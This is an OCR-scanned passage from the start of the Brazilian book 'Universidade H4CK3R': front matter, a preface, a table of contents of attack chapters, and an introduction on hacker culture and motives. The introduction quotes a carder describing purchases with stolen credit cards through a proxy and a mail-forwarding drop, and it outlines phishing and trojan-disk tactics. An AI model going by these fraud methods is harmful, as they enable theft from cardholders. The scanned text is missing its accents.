Você está na página 1de 331

-

unlversloao

Jniversidade

H4CK3R I

Contedo extra
No Co: alm das ferramentas hackers, voc encontra os apndices do livro
em formato POF na ntegra.
Na Internet: basta se cadastrar no site www.digerati.comllivros para ter acesso s atualizaes, erratas e ao material que preparamos especialmente para
complementar seus estudos. Atravs da pgina voc tambm poder enviar
e-mails com dvidas, crticas ou sugestes para o editor ou para os autores.

universidade
4a EDICAO
,
HENRIQUE
CESARULBRICH
JAMESDELLAVALLE

I Universidade

H4CK3R I

@2004 by Digerati Books


Todos os direitos reservados e protegidos pela Lei 5.988 de 14/12/73.Nenhuma
parte deste livro, sem autorizao prvia por escrito da editora, poder ser
reproduzida ou transmitida
sejam quais forem os meios empregados:
eletrnicos, mecnicos, fotogrficos, gravao ou quaisquer outros.
Editor: Luis Matos
Projeto grfico e Arte: Mau rcio Costato
Capa: Jos Antonio Martins
Ilustradores: Daniel Brito e Helber Bimbo
Revisoras: Angela das Neves, Cntia Yamashiro e Priscila Cassetari
Produo do CD-ROM: Marcelo Bruzzesi,
Raphael Pansutti e Gunther Khun

Simone

Ribeiro de Carvalho,

Autores:
Ulbrich, Henrique Cesar
Della Valle, James

Universidade Hacker

- 4a Edio

Digerati Comunicao e Tecnologia Ltda.


Rua Haddock Lobo, 347

12 andar

CEP 01414-001 So Paulo/SP


Fone: (11)3217-2600 Fax: [11J3217-2617
www.digerati.com

Diretores

Alessandro Gerardi - Igerard/@digerat!:combrJ


Luis Afonso G. Neira - lafonso@digerat/combrJ
Alessio Fon Melozo - lalessio@digerat!:combrJ
Gerente de Vendas: Pierre Abreu Ivendas@digerat/:combrJ
Divulgao: rica Cunha lerica@digerat!:combrJ
Assessoria de Imprensa: Simone Siman Isiman@digerat!:combrJ
ISBN: 85-89535-01-0

141

Prefcio

No de hoje que o hackerismo fascina milhares de pessoas em todo o mundo.


Vrias imagens foram criadas sobre os hackers1, algumas colocando-os como
justiceiros, com poder de combater e desfalcar grandes corporaes; outras,
mostrando-os como simples bandidos atrs de uma forma ilcita de obter lucro,
seja roubando dinheiro ou informaes sigilosas. H ainda uma terceira viso
que coloca o hacker como um pesquisador, algum que busca sempre aprimorar
seus conhecimentos atravs do estudo de sistemas alheios.
Ao mesmo tempo em que exercem fascnio, eles tambm amedrontam
usurios e particularmente empresas, que temem ser invadidas e ter dados
confidenciais roubados.
H muito tempo os hackers atuam, mas inegavelmente foi no incio de 2000
que eles ganharam as manchetes de jornais e revistas em todo o mundo. Durante
trs dias, na primeira quinzena de fevereiro daquele ano, uma ao coordenada
por um grupo de hackers prejudicou o funcionamento e gerou grande prejuzo
a sites muito populares como Yahoo!,Amazon, eBay,ZDNet, Buy.com e CNN.com.
A ao foi realizada com um artifcio considerado simples, chamado DoS (Denial
of Service, recusa de servio). Nesse tipo de ataque, os hackers no entram nos
computadores das vtimas para roubar informaes. Eles simplesmente os
bombardeiam com uma quantidade to grande de dados que o acesso a elas fica
bloqueado. Identificar os hackers que fazem esse tipo de ataque especialmente
difcil porque eles usam milhares de mquinas espalhadas pelo mundo, sem que
1 Neste livro usamos a palavra hacker em seu significado mais popular. Entretanto, sabemos que o sentido correto da palavra hacker outro, mais abrangente. Hacker o sinnimo de especialista, em qualquer rea. Se o seu
jardineiro, por exemplo, for muito bom, ele pode ser considerado um "hacker em jardinagem".

I Universidade

H4CK3R I

os donos se dem conta. Esses computadores funcionam como "escravos" sob o


comando de um mestre a distncia, que invadiu e dominou esses equipamentos
que, na maioria das vezes, possuem conexo de acesso rpido Internet.
Passados trs anos desse episdio em que o mundo olhou pela primeira vez
com um certo medo a ao dos hackers, as empresas se armaram, contrataram
especialistas, novos sistemas de segurana foram desenvolvidos e as equipes
foram treinadas para evitar invases.Tambm uma infinidade de ttulos mostrando
como agiam os hackers foi lanada.
O resultado? Os hackers continuaram agindo e aumentando seu poder de
fogo cada vez mais. Para se ter uma idia, em 21 de outubro de 2002, um
poderoso ataque conseguiu derrubar nove dos 13 servidores que gerenciam o
trfego mundial da Internet. Na poca, um oficial do gov~rno americano
descreveu o ataque como a invaso mais sofisticada em grande escala j feita
em toda a histria da Internet contra computadores de misso crtica.
Por que os hackers ainda continuam agindo? Por que os administradores no
conseguem barrar sua ao? A resposta para essas e muitas outras perguntas
podem ser conferidas nas prximas pginas. Pela primeira vez, um livro
mergulhou fundo no universo hacker para revelar as mais modernas tcnicas
usadas e as diferentes motivaes que os levam a continuar atacando.
Seja bem-vindo a Universidade Hacker.

Luis Matos

161

Sumrio

Prefcio

Parte I

15

Universidade1 Ano: Formando o Script Kiddie


O. AuLa Ina ugura L
-

17

Informao: A chave de tudo


Omito hacker

18
19

- Mocinho ou vilo

20

- Descaso das empresas


- Avalanche de ataques

20
21
22

- Bem-vindo s aulas

1. PsicoLogia Hacker
~ o verdadeiro hacker e o hacker

25
mostrado na mdia

~Sopade letrinhas: Hackers, crackers, phreakers


~ Oque so, como pensam e como agem
- Aprendizado
- Comprometimento
- Compartilhamento

- Ei!Isso importante!
~ Por que algum gastaria tempo e dinheiro numa invaso?

26

28
30
30
31
31
32
33

2. RedesI

35

~ 1ntrod uo

36
36

- Conceituao

37

~ Estrutura fsica
- Equipamento

adicional

38

Abrangncia
~ Topolog ias

38
39

- Principais topologias
~ Protocolos
- Como funcionam

39
41
42

Matrioshka

~ Ethernet
~ Omodelo OSI
- Camadas
- Um exemplo prtico
~ SPX/ IPX

- Camadas
~ NetBIOS / NetBEUI/ 5MB/ CIFS
- Camadas
~AppleTalk
- Camadas

44
45

47
47
50

52
52

53
54

55
55
171

I Universidade

H4CK3R

~ TCP1iP
- Camadas
- Entendendo o TCP/!P
- Oprotocolo /P
- Endereo /P
- Mscara de Rede
- TCP/UDP
- Portas
- DNS
- ARP
~ Laboratrio de Redes I
- VVtndows9.x

55
55
56
56
57
57
57
57
57
57
58
59

...

3. PLataformaWindows

63

~ As "famlias" Windows
- Famlia VVtn9x
- Famlia VVtnNT
~ Nos bastidores
- Estrutura
- Entidades

64
6465
66
66
68

~ Como mesmo que fao aquilo


- Os arquivos /N/
- Registrar o qu?
- Estrutura do registro
- CLS/D?
- Um pouco de graxa para os cotovelos
- O tesouro
~ Where to, buddy?

76
76
77
78
79
80
81
,

83

"

4. PLataformas Unix

Estrutura

- Sistema de arquivos
~ O cerne da questo
- Dispositivos
- Processos Ino, no papo de advogado I
- 5; poderia me fazer um favor?
- Comunicao entre processos
- SInais e semforos
~ Na praia catando mexilhes
- MInha coleo de conchas
- Script for a .Jesters tear
- Todos os segredos esto no/etc
- /nittab and the Runlevels (parece banda de rock, mas no ...
181

85

o modelo

Unix de sistemas operacionais


-Apenas um jogo de computador
- POS/X
- Dezenas de sabores sua escolha...
~ As entranhas da fera
~

......

86
87
88
89
89

90
90
93
95

96
97

98
99
101
102
102
103
103

- Outras gemas
~ O meu eu quero de flocos...
- Free as in free speech
- A dana dos pingins
- Odiabinho que rL
~Vou can go your own way...

...

105
106
106
107
108
108

5. Fundamentos Jurdicos

111

~ Por que a sociedade teme os "hackers"?


~ As liberdades individuais e o direito privado
~ O direito informao e os ataques liberdade
~ Alegislao brasileira
~ Leis internacionais aps o dia 11de setembro de 2001
- Nos Estados Unidos
- Na Europa
~ Casos de hackers famosos
- Orusso que 'nackeou" a Adobe
- Ohackermais famoso do mundo

112
113
114
115
118
118
119
119
119
120

6. Engenha ria Sacia L

123

~ Ateno: isso crime!


~ Tipos de ataq ue

124
125
... 125
125
, 125
... 126

- Ataque direto
- Ataque indireto

~ Mtodos utilizados
- Disfarces

- Olixo rico I
,
- Funcionrios descontentes e redes de contatos

126
127

- O apelo

sentimental.

127

- Programao neurolingstica.
-A utilizao da Internet
- Ofator sorte
- Navegando no mar proIbido
~ Casos rea is
- Abraham Abdallah
- Kevin Mitnick

127
127
128
128

,...
,

...

129
129

7. VuLnerabiLidades I
~ Noes de vulnerabilidade
- Superlammers e sua viso de Raio-X

~ Osquatro passos para um hackingfeliz


~ Search and Destroy
- Logins fracos
- Arrombando a porta da frente
- Sem quebrar o ovo no se faz omelete
- Scanners
- Portscanners
- Funcionamento de um scannerde portas

128

131
132

"

133
,

134
136
136
136
138
141
141
143

191

I Universidade

H4CK3R I

- Scanner de vulnerabilidade
- Exploits
~ EmTria, como os gregos...
~Asfalhas desegurana mais comuns em micros domticos
- TCPSYNScanningversusWndows
98
- Compartilhamentos em computadores Wndows (SMB/ClFS)
-

Servios desnecessariamente ligados

145
146
148

148
148
151
151
152
153
153
,... 154

11

Universidade

8. Redes

2 Ano: O caminho

de um Voyager

155

II

157

~ TCP/IP: o incio
~ 051 versus TCP/IP
-

144

150

- Buffer Overflow nos servios de Remote Procedure Cal!


~ Laboratrio de Vulnerabilidades I
~ Configurando o servidor
- Juntando as coisas
- Porta dos fundos
~ Consideraes fina is

Parte

158
159

Camadas dos protocolos de rede

~ Protocolo

IP

- O pacote IP
- Endereamento
- Redes e Hosts
~ Protocolo TC P

IP

- Opacote TCP
- Portas TCP
- Os bits de controle TCP
~ Protocolo UOP
~ Protocolo ICMP
~ Laboratrio de Redes 1I
~ Rotea mento
~ Internet
~ Sub- red es
~ Redes Wi reless
- Rdio
- IEEE 802.11
- Infravermelho
- Bluetooth ...
- 6SM
- 2,56
- 36
- W'Fi'

160

160

161
164
165
166
167
169
171
172
173
176
178
179
179
180

180
180

180
181
181
181
181
181

9 Vulnera biLidades II

183

~ Navegando anonimamente
- Proxies pblicos
- Proxies privados
- Squid
,..
...
- WinGate .
~Anonymous remailers
~ Furando firewalls
- Firewa!!s
- Filtros de pacotes
- Proxies
- Filtros de pacotes por estado (SPF/
- Pesquisando as regras do filtro de pacotes
~ Servidores Web
- Apache
- Sun ONE/iPlanet
- Microsoft Internet Information Services (115/
- Common Gateway Interface (CGI/
- PHP e ASP
,...
~ Defacements
~ Banco de Dados
- Conectando diretamente via Internet
- Senhas na Web (teoria x prtica/
~ Estamos todos vulnerveis?

Parte

203

204
204
205
209

111

Universidade 3 Ano: Tornando-se

um Hacker

10. Ataque, defesa e contra-ataque: Introduo


~ Os seis passos para um hacking feliz
- Oportal
- Passos para hacker fulano de tal
- Uma palavra final sobre planejmento

11.

185
185
188
190
190
191
193
194
194
196
197
197
198
199
199
200
201
202

Ataque, defesa e contra-ataque: Observao

~ Engenharia Social
~ A 9ra nd e teia
- O Google seu amigo
- At tu, Brutus?
- Quem esse cara?
~ Sign your na me across my heart
~ Defesa e contra-ataque

12. Ataque, defesa e contra-ataque: Busca


~ Cartografia aplicada Internet
- Varre, varre, vassourinha...
-Argh! Mas isso d trabalho!

211

213
214
217
221
223

225
226
227
227
229
229
230
232

235
236
237
240

/11 /

I Universidade

H4CK3R

~ Procurando portas abertas


-

240

Escolhendo asportas de origem

- Varrendo sob o tapete


- Impresso digital na Web
- Tem mais?
~ Procurando brechas
~ Defesa e contra-ataq ue

241

...
...
"""""""""""""""'"

13. Ataque, defesa e contra-ataque: Invaso


~ A invaso em etapas
~ War Dialing + Brute Force
- Conhea suas armas
- Ah, a fora bruta to linda...
~ Entendendo o estouro de pilha
-

Um amontoado de coisas...

-As pilhas no reino digital


- Debug in on the table
~ Ganhando acesso por estouro de pilha
~ Ganhando acesso a outras contas
- Mtodos para descobrir usurios e senhas
- Quebrando senhas no Windows
-

Quebrandosenhas no Unix

~ Ganhando acesso e destruindo a rede


- War Driving e War Chalking """"""""""""""""""""""""""''''''''''''''''''''''''''
- Indo alm do SQL Injection...
- Farejando a rede (SmffingJ
- Smffing passivo
""""""""""
- Sniffing ativo
- Escolhendo seu sabujo
- Farejando na prtica
- Quando a caa v
~ Who can you trust?
~ Captura de sesses [Hijacking]
- Selecionando seus combatentes
- Seqestro na prtica
- Outros mtodos de desviar trfego
- Navegao de servio
- Masters and Slaves
~ Defesa e contra-ataque
- WarDialing Brute Force
- Quebra de senhas
- Negao de servio

14. Ataque, defesa e contra-ataque: Manuteno


~ Backdoors
- Portas de tr maliciosas
-

Novamente,'Attu,Brutus?"

~ Vrus e Cavalos de Tria

112 I

242
243
243
243
244

247
248
249
249
251
252

252
253
257
259
263
264
265

267
268
268
269
270
273
275
277
282
285
286
290
293
295
297
298
305
306
306
307
309

313
314
315
316
319

- Mais uma vez, Vrus

319

- Vrusaindaindetectveis .,

319

- Indo alm dos Cavalos de Tria


- There is no spoon
~ Comunicao sem conexes
- Ouvindo moucos
- Farejando problemas
...
- Atualizando a camuflagem
- Layer-O: como funciona
~ Defesa e Contra -ataq ue
- Backdoors, Vrus e Cavalos de Tria
- Comunicao sem conexes
~ Estamos quase l

15. Ataque, defesa e contra-ataque: Evaso


~ o bsico: apagando os logs
- Registro de eventos Unix
- Registro de eventos no Microsoft NT/2k/XP
~ Escondendo suas conexes
~ Defesa e Contra-ataque
- Apagamento de logs
- Camuflagem de conexes
~ Uma despedida?

Apndices

320
323
326
326
327
328
329
331
331
334
335

337
,... 338

339
345
346
347
,.. 347
347
348

no CD

~ Introduo aos Sistemas Operacionais


~ Plataformas Novel Netware
~ Programao I
~ Programao II
~ Hardware
~ Informtica bsica
~ Um pouco de histria
~ O Kernel do MS-DOS
~ Histria da Internet
~ B-a-B do Unix

113 I

Universidade 10 Ano:

Formando o Script Kiddie

Aula Inaugural

caPtuLoO
''ideologia. Eu quero
uma pra viver!"

Cazuza

I Universidade

H4CK3R I

Aula inaugural
"Meu crime a curiosidade, subestimar os mais poderosos mesmo quando
errados. Meu crime saber tudo sobre todos, ser mais esperto. Estou preso,
mas por uma causa justa".
A frase acima foi proferida por um hacker que foi preso acusado de tentativa
de extorso. Ela no somente reveladora de seu pensamento, mas, de forma
geral, expressa o pensamento de boa parte da comunidade hacker.
Na maioria das vezes, o que move um hacker em suas incurses por sistemas
alheios a adrenalina produzida pelo risco combinando com a satisfao da vitria.
Muitos pensam que esto em uma guerra, na qual matar ou morrer significa
invadir ou no o sistema.Tudo tem de ser bem pensado para conseguir o objetivo
fmal e o risco algo que aumenta a adrenalina. Quanto mais difcil, melhor.
Poderamos dizer que o hacker somente uma pessoa em busca do
conhecimento, de desvendar mistrios, de invadir a linha do inimigo para saber
seus segredos e alertar a todos sobre o que viu?
No, certamente no. Estamos desconsiderando um fator muito importante.
Imagine voc tomar contato com o nmero do carto de crdito de 10 mil
pessoas, ou mesmo ter acesso a informaes extremamente sigilosas sobre
empresas. Poucos resistiriam tentao de fazer uso dessas informaes. Alguns
pensariam: vou usar somente um nmero de carto uma nica vez e depois eu
paro. como uma pessoa se vicia na droga, no? Uma primeira vez, uma segunda,
e quando v no consegue se livrar do vcio.
Sem contar que o hacker tambm tem de lutar contra sua vaidade. Invadir
somente no tem nenhum mrito se os outros no ficarem sabendo. No
verdade? A a vida do hacker comea a se complicar.

Informao: a chave de tudo


Como num combate real, tudo vlido para obter uma informao que ajude
no acesso ao sistema. Kevin Mitnick, considerando um dos maiores hackers de
todos os tempos 1, se especializouem uma tcnica batizada de engenharia social.
Para compreender melhor como todos podem ser facilmente enganados por
hackers malintencionados, acompanhe o relato feito recentemente por Mitnick
em entrevista revista PC Brasil, publicada pela Digerati Editorial.
"00.Imagine que voc est trabalhando para uma corporao.Ao entrar em um
elevador, nota que algum deixou cair um disquete no cho. O disco tem
estampado o logo da empresa e traz uma etiqueta que diz: "Confidencial:
histrico salarial de todos os funcionrios". Diante disso, qual a primeira

JI

1 Apesar dos hackers

Aulainaugural[

realmente

bons nunca serem pegos

providncia que voc tomaria? Movidos pela curiosidade, colocamos o disquete


na mquina e abrimos o arquivo para ver seu contedo. Talvez exista um cone
para um documento do Word chamado "arquivo de folha de pagamento" ou
"histria salarial". Provavelmente clicaramos para comparar nosso salrio com
o dos demais. O que acontece, ento? Voc v uma caixa de mensagem que diz
algo como "o aplicativo no pde ser aberto" ou "arquivo falho". O que a maioria
no sabe que um cavalo de tria acaba de ser instalado, o que permitir que
um intruso a invada.Voc vai devolver o disco para o setor de recursos humanos,
onde algum vai verific-Io - agora o hacker tem acesso a dois computadores.
Esse um exemplo de ataque indireto.
Um ataque direto aquele em que o invasor se comunica diretamente com a
vtima via telefone, fax, e-mail ou at pessoalmente. Na maioria dos casos, o ataque
no personalizado - visa outro empregado, por exemplo - e tenta persuadilos para que revelem informaes, instalem softwares ou acessem um site que
prejudique a estrutura computacional da empresa.
Digamos que um hacker queira atingir a John Wiley & Sons. Ele ou ela deve
construir um web site que parea totalmente confivel. O site tem um programa
de registro e pede aos usurios que coloquem um login e uma senha. O invasor
ento envia um e-mail para mil empregados da Wiley, encorajando-os a
registrarem-se em troca de um prmio. O e-mail tambm contm um link para o
website criado pelo invasor. Digamos que 10% dos empregados que recebem o
e-mail realmente respondam. E suponhamos que 10%dos registros usem a mesma
senha do servio (para no ter de decorar vrias senhas). Com apenas 25
endereos de e-mails e senhas, o hacker tem formas variadas de acessar o sistema
computacional da Willey".

o mito hacker
Muito mais do que um especialista, o hacker considerado por muita gente
como um criminoso. Aquele indivduo do qual as empresas devem se proteger,
pois ele pode a qualquer momento invadir sua rede de informao provocando
srios prejuzos. tambm aquela pessoa que pode vir a roubar dados, senhas e
nmero de cartes dos usurios que fornecem essas informaes para as
empresas nas quais fazem compras.
Essa imagem alimentada por alguns grupos hackers que agem
verdadeiramente como criminosos, e apossando-se de dados confidenciais e
fazendo uso destes. Veja este relato:
"O maior golpe foi a compra de trs laptops de uma vez na Semp Toshiba, que
foi feita normalmente, num sbado noite.Abri meu Opera, pus meu proxy e fui s
compras. Bom, o total foi 14 mil dlares, e a compra foi aceita, parcelada no

119 I

]Aula

inaugural

I Universidade H4CK3R I

carto em 6 vezes. Mas o dono do carto cancelou e meu pedido no veio (essa
parte a pior: cancelamento da compra). Mas isso foi h muito tempo, no incio.
Agora, ns compramos muitos livros, softwares, domnios, notebooks, etc.
Uma das minhas compras bem-sucedidas foi de um CD-ROMe um monitor de
1T, tela plana, com valor de 2 mil dlares, mas no fiquei com nada, vendi.
No caso da compra na Semp Toshiba, que foi cancelada um dia depois, o
endereo da entrega era da lanbox (lanbox um P.O. Box dos EUA que
redirecionado ao seu endereo verdadeiro), e a entrega do CD e do monitor foi
na casa de um amigo..." 2

Mocinho ou vilo?
Como tudo na vida, no possvel generalizar os diferentes tipos de hackers, nem
rotular todo esse imenso grupo da mesma forma.Tambm imprescindvel destacar
que os hackers, mesmo que algumas vezes involuntariamente, acabam ajudando a
revelar bugs em softwares e problemas existentes em redes, que poderiam resultar
em graves conseqncias para usurios de redes corporativas ou da Internet.
Um exemplo disso foi dado em um dos maiores ataques cibernticos da histria
realizado em outubro de 2002, que derrubou boa parte dos principais servidores
dos EUA.Ele mostrou alguns furos importantes na segurana da Internet, que
so at conhecidos. Mas tambm revelou outra coisa: a superconcentrao de
servidores nos Estados Unidos. Apesar de ser uma rede que chega a quase todos
os pases do mundo, ainda 70% das mensagens passam por servidores ou
roteadores norte-americanos. No estamos mais nos velhos tempos, em que a
quantidade esmagadora de internautas era americana. Portanto, mudanas devem
ser feitas seguindo o esprito que criou a prpria Internet: a descentralizao da
comunicao. Alis, isso um importante fator de segurana bsico, mas
totalmente esquecido. Quando a maior parte do trfego da Internet fica
concentrada em pouco mais de dez superservidores, fica mais fcil organizar
um superataque. "Nunca coloque todos os ovos no mesmo cesto." 3

Descaso das empresas


Muitos bugs que permitem a ao de criminosos poderiam ser facilmente
corrigidos, mas muitas companhias preferem fazer vistas grossas a esses
problemas, sendo, em muitos casos, at bastante displicentes. o que mostra
uma pesquisa feita pela Mdulo Security Solutions4, empresa especializada em
segurana. Segundo os dados coletados, a segurana da informao fator
importante para 45% dos executivos, sendo que 16% a consideram crtica e 32%
a classificam como vital. Mesmo assim, a falta de conscientizao dos executivos
2 Trecho de entrevista do Hacker cshr, membro do cl CarderBR, revista H4CK3R
3 Voc deve conhecer este ditado, no ? Parece que os americanos no...
4 Pesquisa divulgada no flnal de 2002

20

Aula inaugural[

(45%) e dos usurios (38%) foram apontadas como os principais obstculos


para implementao da segurana nas corporaes.
Um dado revelado pela pesquisa extremamente preocupante: 43% das
empresas reconheceram ter sofrido ataques nos ltimos 12 meses, representando
um aumento de 10% em relao a 2001, sendo que 24% das ocorrncias foram
registradas nos ltimos seis meses. Mas o pior de tudo que 32% no souberam
informar se foram atacadas ou no e, apesar da expectativa de aumento nos
problemas com a segurana e o crescimento no ndice de registros de ataques e
invases, a pesquisa mostra que apenas metade das empresas brasileiras (49%)
possuem planos de ao formalizados em caso de ataques.
Outro dado interessante aponta que os hackers (48%) foram os maiores
responsveis por ataques e invases em 2002, representando um aumento de
15% com relao a 2001. Em segundo lugar vm os funcionrios, que passaram
de 24 para 31%. Surge tambm uma nova ameaa, no registrada na pesquisa
anterior: a categoria ex-funcionrios, que registrou 8%. O percentual relativo a
prestadores de servio passou de 3 para 12%e o dos concorrentes de 1 para 4%.
O pior de tudo que a percepo de falta de segurana nas transaes continua
sendo o maior obstculo para o desenvolvimento de negcios digitais em escala
global. So nada menos do que 66% os usurios que deixam de comprar pela
Internet por causa da sensao de falta de segurana.

Avalanche de ataques
Todos sabemos que h vrios fatores que contribuem para a intensa atividade
hacker. Para comear, h muitos sites inseguros. Um estudo do Gartner Group
estima que 2/3 dos servidores da Web no mundo podem ser invadidos de alguma
forma. Outro fator que estimula a atividade hacker a ampla disponibilidade de
ferramentas de ataque na Internet. Qualquer adolescente com tempo livre e
conhecimentos tcnicos medianos consegue encontrar as informaes e os
softwares necessrios para uma invaso. Mas o principal motivo ainda a
impunidade. Os poucos policiais que investigam crimes digitais no Brasil no
conseguem atender a todos os casos. Alm disso, a falta de uma legislao
especfica dificulta a punio do culpado, se bem que alguns hackers podem ser
enquadrados com base no Cdigo Penal de acordo com o crime praticado.
Para se ter uma idia da quantidade de aes hackers, um estudo da
Universidade da Califrnia mostrou que os hackers tentam realizar mais de 4
mil ataques do tipo DoS (Denial ofService) todas as semanas, um nmero bastante
impressionante e que mostra que h muito do que se proteger no mundo virtual.

]Aula

21

inaugural

I Universidade

H4CK3R I

Bem-vindo s aulas
"Na hora de tentar invadir um site, meu corao disparava e a adrenalina ia a
mil por hora. O medo de ser pego, junto com a perspectiva de vitria e sucesso,
causava uma euforia tamanha que no d para descrever. Depois que todo mundo
fica sabendo do seu feito, a s curtir a fama".
Relatos como esse, feito por hackers, podem at pintar um mundo cheio de
aventura e emoo para quem invade sites e sistemas. Mas a verdade que no
bem assim. Nas prximas pginas voc ter a oportunidade de conhecer muito
desse universo hacker, aprendendo a teoria e exerccios prticos para quem
deseja dominar as tcnicas hackers. Nem seria preciso dizer que nosso objetivo
formar pessoas extremamente conhecedoras em informtica que possam usar
esses conhecimentos
para trabalhar
com segurana,
desvendando
vulnerabilidades e buscando solues.
Organizamos os assuntos ao longo do curso de forma a preencher as
necessidades do aluno. Entretanto, entendemos que muitos j "iniciados" vo
ler este livro. Portanto, separamos os assuntos em trs grandes grupos: prrequisitos, hackerismo bsico e hackerismo avanado. Deixamos no livro
impresso os assuntos sobre hackerismo, e o que consideramos como "prrequisito" (programao, sistemas operacionais e hardware ) inclumos no CDROM como apndices.
Assim, suprimos as necessidades de quem est comeando "do zero" e no
penalizamos o "iniciado" com pginas cheias de coisas que ele j sabe.
O uso indevido das informaes aqui prestadas, bem como de informaes
apresentadas em qualquer livro, seja ele sobre redes, servidores de Internet,
sistemas operacionais, programao e outros, so de inteira responsabilidade de
quem as utilizou. Vale lembrar que no momento em que este livro foi redigido j
estava em vigor a nova lei de crimes digitais no Brasil e a Homeland Security Act
nos Estados Unidos. Alm disso, preciso considerar que todos os infratores
esto sujeitos legislao do Cdigo Penal e do Cdigo Civil no pas.
Portanto, aproveite as prximas pginas para ampliar seus conhecimentos em
diferentes tpicos do mundo da informtica e para se tornar um verdadeiro
especialista em segurana. E, o principal, use com responsabilidade este
conhecimento.. .

Luis Matos

~2 I
Aula inauguraq

Captulo

"S digno de seu poder aquele que o

justifica dia aps dia "/


Dag Hammarskjold
Secretrio-geral
da ONU e Prmio
Nobel da Paz de 1961

I.As citaes deste livro esto todas em suas lnguas originais, exceo
desta. Como foi um discurso nas Naes Unidas (e, portanto, oficialmente
traduzido para vrias lnguas), preferimos coloc-Ia em portugus.

I Universidade

H4CK3R

Sim, ns sabemos. Voc comprou este livro para obter informaes tcnicas.
Mas ns no adotamos esse modelo de curso universitrio toa: existem certas
coisas fora da esfera tecnolgica que voc precisa conhecer, mesmo que no
esteja muito interessado nelas. Assim como na faculdade de Direito estudamos
economia e na de Engenharia Eltrica estudamos administrao, aqui em nosso

Curso Superior de Hackerismo teremos de estudar o comportamento e o modo


de pensar das pessoas que dedicam sua vida a essas atividades.
Se voc comprou este livro pensando em "virar um rquer" (como diria Susumo

Pop, guitarrista, hacker do Linux e bancrio nas horas vagas), provavelmente


tem uma noo do que vamos tratar aqui. Parece bvio que voc o saiba, j que
quer ser um deles. Recomendamos a leitura deste captulo, entretanto, pois provavelmente voc tem idias completamente
distorcidas ou romantizadas
do
que significa ser um "hacker" (note as aspas). Talvez, aps a leitura deste captulo, voc queira mudar de postura e tornar-seo que se constuma chamar de"hacker
de verdade"; talvez desista de tudo e v viver de pesca em Cabo Frio ou mesmo
continue com sua idia inicial de pixar sites e invadir computadores.
Se, por outro lado, voc comprou este livro pensando em como deixar sua rede,
seu servidor Unix ou as estaes Mac e Wmdows de seus fimcionrios mais seguras,
esta introduo obrigatria. De nada adianta estar antenado no Security Focus ou

nos hotfixes da Microsoft e configurar de forma paranica seu binmio


Firewa1l+AntivtrUs,se voc no compreender como fimciona a cabea de quem o
invade. Acredite, voc v seu sistema pelo lado de dentro. Seus inimigos o fazem
pelo lado de fora. A perspectiva pela qual os invasores enxergam sua rede no
pode sequer ser imaginada se voc apenas "segue a cartilha".

o verdadeiro Hacker e o ~~Hacker"mostrado


na mdia
Notcia veiculada em uma revista de grande circulao: "Em setembro de 2000,
um hacker invadiu uma indstria de brinquedos britnica"... O que podemos
depreender dessa frase pela forma como est escrita? Temos duas possibilidades:
1 Que uma pessoa usou seus conhecimentos de hacker para invadir o site
daquela indstria. Nessa interpretao, a palavra hacker no est associada
bandidagem, mas habilidade dele em relao aos sistemas de informao. Ele
usou esses conhecimentos para o mal, no sendo o conhecimento em si algo
malfico.

2 Que existe uma nova classe de bandidos digitais chamados" hackers", e


um deles invadiu o tal site. Nessa interpretao,
a palavra hacker quer dizer,
literalmente, criminoso digital.
1261
Psicologia Hacker r

Universidade 1ano

Um outro exemplo talvez seja mais esclarecedor. Imagine um ataque terrorista no Pas Basco, regio da Espanha. O ataque foi realizado por guerrilheiros do
grupo separatista basco ETA,visando independncia do que julgam ser sua
terra. A notcia poderia ser veiculada da seguinte forma:
"Uma bomba explodiu hoje em um supermercado em Madri, matando 90
pessoas e deixando feridas outras 174. Um basco, guerrilheiro do grupo separatista ETA,assumiu o atentado".
Nesse pargrafo est implcita a idia de que todo basco guerrilheiro e pertence ao ETA.O sujeito da orao basco e no guerrilheiro do ETA.Deixando
a frase dessa forma, dizemos que quem explodiu a bomba foi um cidado basco
que tem como adjetivo ser guerrilheiro do ETA.Uma notcia como esta poderia
ser melhor escrita da seguinte maneira:
"Uma bomba explodiu hoje em um supermercado em Madri, matando 90
pessoas e deixando feridas outras 174. Um guerrilheiro do grupo separatista
basco ETA assumiu o atentado".
Pronto! Agora temos a palavra guerrilheiro como sujeito da orao. Esse guerrilheiro tem como adjetivo a orao "do grupo separatista basco ETA".Ou seja,
ele , sim, basco. Mas no necessariamente todo basco tem a obrigao de ser
membro do ETA.
Um outro exemplo: um padre acusado de pedofilia. A manchete poderia
ser "padre processado por pedofilia, estupro e seduo de menores". De maneira
anloga dos hackers, poder-se-ia depreender da que h uma nova categoria de
tarados chamados padres. Obviamente isso no verdadeiro, mas o que a
redao sem cuidado pode fazer por uma categoria profissional decente.
A imprensa comeou a prestar mais ateno aos hackers no [mal da dcada
de 80. Supomos que os primeiros jornalistas que escreveram manchetes sobre
ataques digitais tinham a inteno de usar a palavra em seu sentido correto.
Entretanto, construes frasais ambguas certamente levaram os leitores, ouvintes e telespectadores a associar erroneamente a palavra hacker com o significado de criminoso digital. Tal erro nunca foi corrigido, e hoje vemos o significado incorreto do termo sendo consagrado.
Aquela manchete da nossa revista ficaria melhor se reescrita assim: "Em setembro de 2000, um especialista em informtica usou seus conhecimentos de
hacker para invadir uma indstria de brinquedos britnica...". Talvez a manchete pudesse ser mantida, mas um esclarecimento no primeiro pargrafo (ou mesmo em um dos olhos da matria) seria necessrio.
Este livro, a contragosto dos autores, simplifica o termo hacker para seu
significado popular e incorreto: criminoso digital. Sabemos que no do interesse da comunidade hacker que esta confuso continue. Para fins didticos
usaremos o termo popular, mas sempre com ressalvas dentro do texto ou no
rodap da pgina.
1271

] Psicologia

Hacker

I Universidade

H4CK3R

Sopa de letrinhas: hackers, crackers,


phreakers...
Antes de tentarmos entrar na alma de nossos queridos rebeldes, temos de
fazer uma distino entre eles. H uma certa hierarquia imposta aos que decidem iniciar sua jornada pelo conhecimento da Tecnologia da Informao. Eles
costumam se agrupar em sociedades secretas comumente chamadas de cls.
Alguns agem (e gostam de agir) sozinhos. Outros atuam soz,inhos e atribuem
suas aes a todo um cl to numeroso quanto fictcio.
Nem todos desejam realmente ser criminosos. Alguns agem por motivaes
que vo de torpes a nobres, passando pela estultcie. Mas tanto os "bons" quanto os "maus" hackers so rebeldes e vivem em um mundo que possui suas
idiossincrasias, seus folclores e mesmo suas crendices. A estratificao deles
em camadas2 um dos folclores desse meio. bvio que essa diviso varia de
cl para cl. Em alguns, essa classificao aceita como regra, em outros apenas informalmente. Muitos a abominam, taxando-a de tola e infantil, mas vez
por outra acabam usando um termo desses em algum canal de IRe.
- Newbie - Todo mundo j foi, e certamente ser iniciante em alguma coisa.No
